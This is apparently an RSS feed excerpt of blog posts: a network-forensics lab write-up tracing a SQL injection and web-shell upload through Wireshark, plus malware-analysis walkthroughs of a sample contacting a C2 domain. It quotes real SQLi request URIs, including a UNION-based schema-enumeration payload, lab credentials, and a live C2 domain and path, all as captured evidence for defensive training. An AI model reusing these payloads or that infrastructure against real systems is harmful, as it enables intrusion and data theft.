            <category><![CDATA[writeup]]></category>
            <category><![CDATA[wireshark]]></category>
            <dc:creator><![CDATA[YournextCISO]]></dc:creator>
            <pubDate>Sat, 22 Feb 2025 21:16:17 GMT</pubDate>
            <atom:updated>2025-02-22T21:16:17.631Z</atom:updated>
            <content:encoded><![CDATA[<h3>PCAP Saturday- Web Investigation Lab</h3><p>Initial Access, Persistence, Command and control</p><h4><a href="https://cyberdefenders.org/blueteam-ctf-challenges/web-investigation/">Scenario</a></h4><p>You are a cybersecurity analyst working in the Security Operations Center (SOC) of BookWorld, an expansive online bookstore renowned for its vast selection of literature. BookWorld prides itself on providing a seamless and secure shopping experience for book enthusiasts around the globe. Recently, you’ve been tasked with reinforcing the company’s cybersecurity posture, monitoring network traffic, and ensuring that the digital environment remains safe from threats.<br>Late one evening, an automated alert is triggered by an unusual spike in database queries and server resource usage, indicating potential malicious activity. This anomaly raises concerns about the integrity of BookWorld’s customer data and internal systems, prompting an immediate and thorough investigation.<br>As the lead analyst in this case, you are required to analyze the network traffic to uncover the nature of the suspicious activity. Your objectives include identifying the attack vector, assessing the scope of any potential data breach, and determining if the attacker gained further access to BookWorld’s internal systems</p><p>ToolS</p><ul><li>Wireshark , Network miner</li></ul><ol><li>By knowing the attacker’s IP, we can analyze all logs and actions related to that IP and determine the extent of the attack, the duration of the attack, and the techniques used. Can you provide the attacker’s IP?</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bd-ny7COh2z40RP-67-kEQ.png" /></figure><p>We could either take a look at the conversations under statistics to get a hint and then go on to look for 3-way-handshake attempts. Doing that lets us see we have numerous SYN packets that are attempting to start a connection, and we see a huge amount from one address, 111.224.250.131. This is a behavior of SYN flood attacks</p><p><strong>Ans</strong>: 111.224.250.131</p><p>2. If the geographical origin of an IP address is known to be from a region that has no business or expected traffic with our network, this can be an indicator of a targeted attack. Can you determine the origin city of the attacker?</p><p>For this, use an IP reputation database. I used <a href="https://www.abuseipdb.com/check/111.224.250.131">AbuseIPDB </a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kEYGicm_-w-JCGde-4GZ5A.png" /></figure><p><strong>Ans</strong>: Shijiazhuang</p><p>3. Identifying the exploited script allows security teams to understand exactly which vulnerability was used in the attack. This knowledge is critical for finding the appropriate patch or workaround to close the security gap and prevent future exploitation. Can you provide the vulnerable PHP script name?</p><p>What we can do is filter for http traffic linked to the attackers IP and search for unusual urls or strings in the query</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hzk31E9zgkaIVrxwPcvjsg.png" /></figure><p>Taking a closer look, we can see what is characteristic of an SQL injection and the vulnerable script search.php</p><p><strong>Ans</strong>: search.php</p><p>4. Establishing the timeline of an attack, starting from the initial exploitation attempt, What’s the complete request URI of the first SQLi attempt by the attacker?</p><p>To accomplish this, we can filter (ip.src == 111.224.250.131 &amp;&amp; http.request) for HTTP request packets and then look for common traits of SQLi, and we will find the first packet with this trait:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xMSu55c6y987UcrFUsVgkg.png" /></figure><p><strong>Ans</strong>: /search.php?search=book%20and%201=1;%20 — %20-</p><p>5. Can you provide the complete request URI that was used to read the web server’s available databases?</p><p>After the attacker confirms an sql injection<strong> </strong>vulnerability, they typically use something like UNION-based SQL injection or <strong>error-based injection </strong>to retrieve database names. Read more on it <a href="https://portswigger.net/web-security/sql-injection/union-attacks">here</a>.</p><p>Filter for HTTP requests that contain the word UNION or specifically the information_schema. Because this is where metadata about the database structure usually is stored, it will be easier for the attacker to enumerate the database if he gets his hands on it:</p><p>Filter: ip.src == 111.224.250.131 &amp;&amp; http.request.uri contains “INFORMATION_SCHEMA”, then went through the packets shown, but the first one (chronological time order) and the one that had .schemata in its uri because the schemata table specifically stores the names of all databases in the system and that was what was of interest. Following its HTTP traffic:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SOTJhWMfGTgZi8fAYMNX9w.png" /></figure><p><strong>Ans </strong>: /search.php?search=book%27%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x7178766271%2CJSON_ARRAYAGG%28CONCAT_WS%280x7a76676a636b%2Cschema_name%29%29%2C0x7176706a71%29%20FROM%20INFORMATION_SCHEMA.SCHEMATA — %20-</p><p>6. Assessing the impact of the breach and data access is crucial, including the potential harm to the organization’s reputation. What’s the table name containing the website users data?</p><p>We earlier saw the bookworld_db database and it is something we can take a look at to see if we can grap anything related to user data . Doing a filter for it :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-51Enpky0UTiN8p1hafQ-A.png" /></figure><p>Looking at the second packet:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2N8xVzDDpe3sYoUjijEtSA.png" /></figure><p>and we can see that the table containing that info we are looking for is customers.</p><p><strong>Ans</strong>: customers</p><p>7. The website directories hidden from the public could serve as an unauthorized access point or contain sensitive functionalities not intended for public access. Can you provide the name of the directory discovered by the attacker?</p><p>Knowing the attacker after a successful injection will always try to login (POSTs) we can filter for POST requests and we see what we can find i. ip.src == 111.224.250.131 &amp;&amp; http.request.method == “POST” :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hBC2IRfgTvdtyR5h0WdhZQ.png" /></figure><p><strong>Ans : </strong>/admin/</p><p>9. Knowing which credentials were used allows us to determine the extent of account compromise. What are the credentials used by the attacker for logging in?</p><p>If you follow the HTTP packet and 3 of them contains invalid username or passwords while one is the valid login we are looking :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*tVo6b5I1BmioCD2W8clxeQ.png" /></figure><p><strong>Ans:</strong> admin:admin123!</p><p>9. We need to determine if the attacker gained further access or control of our web server. What’s the name of the malicious script uploaded by the attacker?</p><p>We can look at the POST made after the attacker successfully logged in and the packet and follow the http stream:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nHN78aLWxiUCNvjzbG5Bgg.png" /></figure><p>from that we can see a file uploaded NVri2vhp.php and we can see it was executed if we filter for the file name ip.src == 111.224.250.131 &amp;&amp; http.request.uri contains “NVri2vhp.php”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rWCADm9k1-6nvPlLhg4odA.png" /></figure><p><strong>Ans</strong>: NVri2vhp.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZHjPYBH2ROpSrPXWwxlGLg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c2161768af30" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Malware Monday #3]]></title>
            <link>https://medium.com/@yournextCISO/malware-monday-3-1de73142981f?source=rss-e695c47bca91------2</link>
            <guid isPermaLink="false">https://medium.com/p/1de73142981f</guid>
            <category><![CDATA[soc-analyst]]></category>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[YournextCISO]]></dc:creator>
            <pubDate>Mon, 17 Feb 2025 20:38:14 GMT</pubDate>
            <atom:updated>2025-02-17T20:38:14.609Z</atom:updated>
            <content:encoded><![CDATA[<p>Watching the malware in action.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/0*ldN1c1fkLeSsFddT.jpg" /></figure><p>Resuming from where we stopped last time out, and below are the steps we will be walking through in this session.</p><p><strong>Make </strong>sure image.exe is terminated on the Windows VM, and then revert the machine to the original image using the snapshot we took earlier on.</p><ul><li>Start the web server on REMnux (httpd start).</li><li>Keep fakedns running in another terminal tab.</li><li>Start a new Wireshark capture (Ctrl+E).</li><li>Reinfect your Windows virtual machine with image.exe.</li><li>Terminate the image.exe wireshark capture after about 30 seconds.</li><li>Stop capture in Wireshark (Ctrl+E).</li><li>Examine captured network traffic.</li></ul><p>Now if you did capture the network traffic early on without enabling a dynamic DNS server such as fakeDNS, you will not be able to know what addresses the malware was trying to resolve.</p><ol><li>Starting up fakedns, wireshark, and webserver:</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y3hUMWYy2AAjAG6qqamfmQ.png" /><figcaption>starting capture on ens33</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/428/1*RvJau9qpl9NWiEFdZ8OryA.png" /><figcaption>start the webserver</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*UruI7gXHlpcFoO81DKPCIw.png" /><figcaption>starting fakedns</figcaption></figure><p>2. Next, I reinfected the system with the image.exe and let it run for about 1 minute. We can see the capture on wireshark:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*rMPu0G5M2sXWhxuQj7j2Wg.png" /></figure><p>Let the capture run for about 30 seconds to a minute, and then terminate the capture.</p><p>From the capture, we can see 2 http requests , i.e the Get and POST for a certain file gate.php, and the domain on which this is hosted is benten02.futbol . Doing a quick virusTotal lookup, we can see it has been reported and with the various IPs it resolves to stated ;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oxQ45C65UTH8dZSRTidvrw.png" /></figure><p>Taking a look at the available objects we can export, we do see that gate.php file :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*L4PCzdawUWzHP54RnwTZ6Q.png" /></figure><p>While we wouldn’t be going further into the analysis today, I will save the pcap file for next time when exploring the network connections and also the gate.php file we saw .</p><p>Resources :</p><ol><li>Anyrun analysis of the malware.</li></ol><p><a href="https://any.run/report/f28261d75819edbe930dbb113c761590381c9411f6a774d05dc40691e207c378/073e79ae-5a2c-4e53-a589-ee6109f30011">Malware analysis IMG-000105264443.exe Malicious activity | ANY.RUN - Malware Sandbox Online</a></p><p>2. Malware Analysis Essentials.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F20xYpxe8mBg%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D20xYpxe8mBg&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F20xYpxe8mBg%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/9d1933088c93b1c1bcd06b2d6f37cc96/href">https://medium.com/media/9d1933088c93b1c1bcd06b2d6f37cc96/href</a></iframe><p>And there we have it. Thanks for reading through, and I would love to get some feedback, if any.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*24WsPOUjoohGKklpsUcvrA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1de73142981f" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[PCAP Saturday]]></title>
            <link>https://medium.com/@yournextCISO/pcap-saturday-0f16d3ec53d7?source=rss-e695c47bca91------2</link>
            <guid isPermaLink="false">https://medium.com/p/0f16d3ec53d7</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[dfir]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[cyberdefender]]></category>
            <dc:creator><![CDATA[YournextCISO]]></dc:creator>
            <pubDate>Sat, 15 Feb 2025 21:54:15 GMT</pubDate>
            <atom:updated>2025-02-15T21:56:14.713Z</atom:updated>
            <content:encoded><![CDATA[<p>Network Forensics one packet at a time</p><h4><a href="https://cyberdefenders.org/blueteam-ctf-challenges/packetmaze/">Scenario</a></h4><p>A company’s internal server has been flagged for unusual network activity, with multiple outbound connections to an unknown external IP. Initial analysis suggests possible data exfiltration. Investigate the provided network logs to determine the source and method of compromise.</p><ol><li>What is the FTP password?</li></ol><p>This means there was a successful FTP auth and locate the packets with successful auth we can run the ftp.request.command == PASS:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V0T8xsNrS_a-Uc8ObPMOjQ.png" /></figure><p>Ans: AfricaCTF2021</p><p>2. What is the IPv6 address of the DNS server used by 192.168.1.26?</p><p>Filter for the dns traffic between 192.168.1.26 using ip.addr == 192.168.1.26 &amp;&amp; dns. Use its ethernet or mac address as a filter coupled with the ipv6 filter to get the addres i.e eth.src == ca:0b:ad:ad:20:ba &amp;&amp; ipv6 :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mnJD8HKXNTIpMJUXa6C2zQ.png" /></figure><p>Ans: fe80::c80b:adff:feaa:1db7</p><p>3.What domain is the user looking up in the packet 15174?</p><p>frame.number==15174 :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5tAqs8hj2GlJyMdM18vv9g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uAh2TS8q1NGToiOKRUIn3Q.png" /></figure><p>Ans: <a href="http://www.7-zip.org/">www.7-zip.org</a></p><p>4. How many UDP packets were sent from 192.168.1.26 to 24.39.217.246?</p><p>We will use the filter : ip.src == 192.168.1.26 &amp;&amp; ip.dst == 24.39.217.246 &amp;&amp; udp</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7CmZ-9MsJAUq9sFzHlK_DA.png" /></figure><p>Ans: 10</p><p>5. What is the MAC address of the system under investigation in the PCAP file?</p><p>The ipv4 add of the system was 192.168.1.26 . Just filter for that and get the ethernet add :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*jq0MkJqxMbKwXKfIycmezQ.png" /></figure><p>Ans: c8:09:a8:57:47:93</p><p>6. What was the camera model name used to take picture 20210429_152157.jpg?</p><p>We need to locate the packets containg the filename : frame contains “20210429_152157.jpg”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O7b4a3wb4nvZIr-u9xh_Gw.png" /></figure><p>From here we can export out the image file and check the model. File → Export Objects → FTP-DATA :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qlJrUsbSCj6F0Q9mASVK0g.png" /></figure><p>Ans: LM-Q725K</p><p>7. What is the public key of the server certificate used in the TLS session with the session ID: da4a0000342e4b73459d7360b4bea971cc303ac18d29b99067e46d16cc07f4ff?</p><p>Filter for frames containing the session ID. That is , tls.handshake.session_id == da4a0000342e4b73459d7360b4bea971cc303ac18d29b99067e46d16cc07f4ff :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kqUZ_QAG4xV_GC-Z2KnJug.png" /></figure><p>Ans : 04edcc123af7b13e90ce101a31c2f996f471a7c8f48a1b81d765085f548059a550f3f4f62ca1f0e8f74d727053074a37bceb2cbdc7ce2a8994dcd76dd6834eefc5438c3b6da929321f3a1366bd14c877cc83e5d0731b7f80a6b80916efd4a23a4d</p><p>8. What is the first TLS 1.3 client random that was used to establish a connection with protonmail.com?</p><p>Filter for servername : tls.handshake.extensions_server_name == “protonmail.com”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n1az6a-919_Ie4qVhRxhfw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VMRKsPhZlodQmFEKgTEDbg.png" /></figure><p>Ans: 24e92513b97a0348f733d16996929a79be21b0b1400cd7e2862a732ce7775b70</p><p>9. Which country is the FTP server&#39;s MAC address registered in?</p><p>We know the servers ipv4 address is 192.168.1.20 . Filter for that along with its ethernet address and then use a mac lookup tool to identify where it is registered in .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c52J1MA2VB60czdC8x1a1Q.png" /></figure><p>Ans: United States</p><p>10. What time was a non-standard folder created on the FTP server on the 20th of April?</p><p>Since we need to analyse the transferred files and possibly look at the different directory listings we use the ftp-data filter : ftp-data :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Uhl64M-r6wo79UHoyVHhmQ.png" /></figure><p>Follow the TCP traffic:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4OHh_8Px7GtAvqJucR2zSQ.png" /></figure><p>We can now see the unsual directory listed there ftp.</p><p>Ans: 17:53</p><p>11. What URL was visited by the user and connected to the IP address 104.21.89.171?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8UmhFmjWp7rXZm5KZsl6Ag.png" /></figure><p>Follow the HTTP traffic:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9Zk5GcitV3pzTV9Z5jpBGQ.png" /></figure><p>Ans: <a href="https://dfir.science/">http://dfir.science/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U2UjmEDpoJirFUjoRac0kw.png" /></figure><h4>And that will be all. Thanks for following through and until next time.</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0f16d3ec53d7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Malware Analysis Monday #2]]></title>
            <link>https://medium.com/@yournextCISO/malware-analysis-monday-2-64535ad9ee70?source=rss-e695c47bca91------2</link>
            <guid isPermaLink="false">https://medium.com/p/64535ad9ee70</guid>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[soc-analyst]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[YournextCISO]]></dc:creator>
            <pubDate>Mon, 10 Feb 2025 21:19:49 GMT</pubDate>
            <atom:updated>2025-02-17T20:25:39.008Z</atom:updated>
            <content:encoded><![CDATA[<p>Genesis but the chapter just gets longer.</p><h4>Scenario Description</h4><p>You are a junior cybersecurity analyst working for a medium-sized company. Your team has received reports of unusual network activity, and after preliminary investigation, a suspicious file has been discovered on one of the company’s employee workstations. Your task is to perform both static and dynamic analysis on the file to understand its behavior, potential impact, and how it can be mitigated. Additionally, you will present your findings to stakeholders. This malware contacted a remote C2 server. I need to figure out the url of that C2 server As of now, I am unable to do it and it seem like the code is just heavily obfuscated</p><p>How my Windows VM looks like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aFZguiYlFxzrezCL7BQARQ.png" /></figure><p>So here are the steps I will be going through with each analysis on what we are trying to build foundational knowledge on (this is assuming you’ve set up your VMs):</p><ol><li>Static Analysis of the malware’s properties</li><li>Behavioraial Analysis</li><li>Code Analysis</li><li>Network connections or API calls made</li></ol><h4>STATIC ANALYSIS</h4><p>To kick things off I copied the malware sample (image.exe) into the windows AppData directory. In case you’re wondering, %AppData% is an environment variable on Windows that typically points to a directory in the user’s profile, such as C:\Users\REM\AppData\Roaming. This location “serves as a common repository for application-specific data” , and then create a shortcut and paste that on:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wEhDKfkCPFZxqt-IRxJdnw.png" /></figure><p>Next I am going to create a shortcut of the file and let that sit on the users (REM) desktop:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/245/1*rDWvSs-DyIObLPqPgNNVDg.png" /></figure><p>To allow the program to achieve full potential during its run time we need to let it run with admin privileges. We do this by modifying the shortcut’s properties to execute the specimen as administrator, so it has full privileges on the system:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*hUXhjNhO1y_6uAhFazXXdA.png" /></figure><p>Some things to do next is to grap the hash of the file, extract ASCII and Unicode strings embedded into image.exe ,Spot anomalous aspects of image.exe:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tgCXBl6qCRZY8G-lyoTFwQ.png" /><figcaption>hash</figcaption></figure><p>md5 hash: 5a2130294cbf034d87e455853928d027</p><p>sha256 hash : 2ec2867f57fdd49916421c63b8da7c13b18d089df8a8d771e184bc8cf8ec37ba</p><p>Doing a lookup of the hash on VirusTotal and we get this :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f-cHaNoKpU0e8zauTmgf8g.png" /></figure><p>I will be using Pestr, a command-line tool to extract strings from the executable:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wBVAF9yZc2ob3W_f7YdjhQ.png" /></figure><p><a href="https://cefsharp.github.io/">CefSharp</a> lets you embed Chromium in .NET apps. It is a lightweight .NET wrapper around the <a href="https://bitbucket.org/chromiumembedded/cef">Chromium Embedded Framework (CEF)</a>, meaning we have another application embeded in image.exe .Another thing I could notice are how the module names are randomizd which we could see that as some sort of ofbsufcated probably to evade detections.</p><p>Next we could see the different sections that makes up the PE file of image.exe ; .text, .reloc, .rsrc.</p><ol><li>.text: This is the section containing the executable code.</li><li>.rsrc: The resource section, it holds resources like icons, menus, and other elements.</li><li>.reloc: Contains relocation information. Necessary if the binary can’t be loaded at its preferred base address.</li></ol><p>With .rsrc being suspicious as it has an entropy rating &gt;6.0 and also the HTML language very different from the other types of resources it contains:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3SOxOI8LT9Lfot4SVk0v8A.png" /></figure><p>We can also see files like CefSharp.WinForms.ChromiumWebBrowser.bmp which is an image file and the library that was loaded mscoree.dll Library.</p><p>Using PeStudio we can pay close attention to its “indicators” area, which automatically highlights potentially malicious aspects of the Windows executable that the tool is examining :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ib0TaTgr9sc3XIR4tS2vbg.png" /></figure><p>With levels of 1 in red we can see the characteristics of image.exe that pestudio sees them as suspicious. Alternatively to have a better and summarized version of the steps so far we can use peframe to read the image.exe :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*l-OUYeXSUysCDkjHwSMjZA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*UPfJIQhD8V5sBBVYm8SdVw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*9qwGG_ZBi8n4V2VeV3SUDA.png" /></figure><p>Another thing that looked suspicious was where the PDB file was located and also the fact that the naming was randomized folder/file names and also used across when to name a module:</p><p>C:\xampp\htdocs\Aspire\files\og25_YTxKgIMzVUUplEBR\<strong>YTxKgIMzVUUplEBRma</strong>.pdb</p><p>As this is a process of learning and implementing or analyzing, I found this Google <a href="https://cloud.google.com/blog/topics/threat-intelligence/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware">article</a> to be of much help in understanding PDB.</p><p>Next we need to know what packers are being used, if any. For that, I will use Detect-It-Easy on Windows and import the file for automatic analysis:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FVjD5kJ5WoaEcYpomJQKdw.png" /></figure><p>As we can see, it isn’t packed. Packing here is like taking a computer program, compressing or slightly encrypting its code into a smaller, hidden bundle, and then including a small helper piece (called a stub) that “unpacks” the code when you run the program. We have established some theories while still building up on our research .Next, we need to now see how the file behaves when it has been executed.</p><h4>BEHAVIORIAL ANALYSIS</h4><p>This will be some of the tools we will use to see how this executable behaves.</p><ol><li>Process Hacker: Replaces the built-in Task Manager, similar to Microsoft’s Process Explorer tool.</li><li>Process Monitor: Records interactions of processes with the registry, file system, network, and other processes.</li><li>Regshot: Highlights changes to the file system and the registry.</li><li>ProcDOT: Visualizes Process Monitor logs for easier analysis.</li><li>Wireshark: sniffs the network and captures packets.</li></ol><p>NB: This is the part where you do a snapshot of the VMs.</p><p>Launch regshot to create a baseline of what our system looked like before the infection: We use Regshot to capture a baseline snapshot of a clean system and later compare it to the system’s state after the malicious program has run. When combined with tools like Process Monitor, this method helps confirm the specific changes introduced by the specimen. To begin, launch Regshot and click the “1st shot” button to take an initial snapshot of your Windows REM Workstation’s file system and registry while the VM is still uninfected. During this process, Regshot computes checksums for all files and registry keys, which allows it to later detect any changes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/437/1*xlUXwWa_5bzl5G_SRWJKbQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*kCOGdcDpRuJHh52GkbQnfg.png" /></figure><p>When that is done , headover to your Remnux linux vm and start up wireshark to capture traffic on the interface you set up to listen on requests from the Windows Remnux vm :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l1YHDmrTDl8dqNVgJPqtWw.png" /></figure><p>You’re now almost set to execute the malicious sample on your Windows REM Workstation. Begin by re-enabling Process Monitor to track system activity. Ensure that the shortcut to <strong>image.exe</strong>, which you previously created, is easily accessible on your screen for quick execution. Additionally, confirm that <strong>Process Hacker</strong> is actively running so you can observe the behavior of the malicious process once the system is infected.</p><p>Next, enable event capture in <strong>Process Monitor</strong> by clicking the viewfinder icon or pressing <strong>Ctrl+E</strong>. Once everything is in place, launch <strong>image.exe</strong> by double-clicking its shortcut. Since you modified its properties to run with <strong>administrator privileges</strong>, this will allow the malware to execute with full capabilities, providing deeper insight into its behavior:</p><p>Process Hacker before the infection :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*erdkokZ75OAZVCw6eOTljw.png" /></figure><p>Stop the Process Monitor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fFaTPzhZkYiRwMbSZBUh_A.png" /></figure><p>CTRL + E to start it up and then execute the image.exe file (let the malware run for at least 30 seconds):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nOnf_2MCz5_R2errdcGRCg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RR5CYabm8XUw8E4hfqSGKw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*69yJuTamx0Wg3kBo6kzhvw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Acyi2DQg3JEHacQOzBaaZA.png" /></figure><p>Terminate image.exe in Process Hacker after about 30 seconds; pause capture in Process Monitor (Ctrl+E) and pause capture in Wireshark (Ctrl+E).</p><p>Next Click the 2nd shot button and then click Shot. The Compare button lights up shortly, click the Compare button and review the report:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/436/1*ZslfQS_2hKNWrFPd_ozZHg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/430/1*n0Boq_1hj6yRoooKuWhg4g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*V3rkt3NtI55LVLVZGIc3uA.png" /></figure><p>In Process Monitor, we can filter for image.exe and see the different processes that occurred and how they did:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7oWUYDaUxIEsG4JwrA5amw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_zR4o7vgA8D_34IxbRPynA.png" /></figure><p>Save the process monitor output to a json file so we can now use procdot to see how this attack builds up :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*FzY95PdDaqMaILbZvlvAJw.png" /></figure><p>Load the file in procdot:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SsXDdXqpcwKBhU0zqI2N2Q.png" /></figure><p>Start off with the image. exe process first before the otheres:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RvR71-L6FJUDxtLaMkoWpg.png" /></figure><p>Refresh the graph now :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OxjTU1w7ulpHB4z6H-vJ8A.png" /></figure><p>And you will have something similar to this :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QZV1NrsxhvKlDodZUBs12g.png" /></figure><p>We can see the different processes that were started by image.exe and what they achieved:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k4zvElJTtadN8HsVoPnlxQ.png" /></figure><p>Procdot gives us a clear representation of the different processes that stem from the execution of image.exe, a great tool for visual representation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BDbwNF_UaY3gkrM_" /></figure><p>Yeah, that was a lot to take in, right? . Same. So we will be stoping here for this week and next week we are going to pick up with the final step i.e identifying what network or API calls are being made and as a headsup this is what we will be doing:</p><p>Make sure image.exe is terminated on the Windows VM.</p><p>• Start the web server on REMnux (httpd start).</p><p>• Keep fakedns running in another terminal tab.</p><p>• Start a new Wireshark capture (Ctrl+E).</p><p>• Reinfect your Windows virtual machine with image.exe.</p><p>• Terminate the image.exe process after about 30 seconds.</p><p>• Stop capture in Wireshark (Ctrl+E).</p><p>• Examine captured network traffic.</p><p>Resources you can use to setup your environment and also get familiar some common malware analysis lingo :</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fvideoseries%3Flist%3DPLfouvuAjspToULN9r9cmQqgDwZzsqH05w&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fplaylist%3Flist%3DPLfouvuAjspToULN9r9cmQqgDwZzsqH05w%26si%3DX9VQSJzsotq4E_Kw&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F0M55onu7mVI%2Fhqdefault.jpg%3Fsqp%3D-oaymwEXCOADEI4CSFryq4qpAwkIARUAAIhCGAE%3D%26rs%3DAOn4CLBLyhB0vZpUlnYrGEcX7TNDFnJnBA%26days_since_epoch%3D20129&amp;type=text%2Fhtml&amp;schema=youtube" width="853" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/bb5deff14cc0495fbdf2dba7b061210b/href">https://medium.com/media/bb5deff14cc0495fbdf2dba7b061210b/href</a></iframe><iframe 